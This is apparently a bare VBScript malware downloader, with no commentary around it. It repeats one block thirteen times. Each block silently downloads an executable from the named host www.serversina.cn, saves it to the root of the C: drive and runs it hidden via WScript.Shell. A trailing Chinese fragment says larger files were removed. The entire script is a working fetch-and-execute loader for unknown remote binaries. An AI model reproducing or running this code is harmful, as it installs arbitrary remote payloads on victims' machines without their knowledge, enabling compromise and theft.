Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/mm/35.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\35.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\35.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/mm/36.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\36.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\36.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/mm/37.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\37.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\37.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/mm/38.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\38.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\38.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/mm/39.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\39.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\39.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/mm/40.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\40.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\40.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/mm/41.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\41.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\41.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/mm/42.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\42.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\42.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/mm/44.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\44.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\44.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/zd/pl.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\pl.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\pl.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/zd/uuse.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\uuse.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\uuse.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/zd/uuQi.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\uuQi.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\uuQi.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/zd/Qiuu.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\Qiuu.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\Qiuu.exe /start",0
剔除了较大的文件 |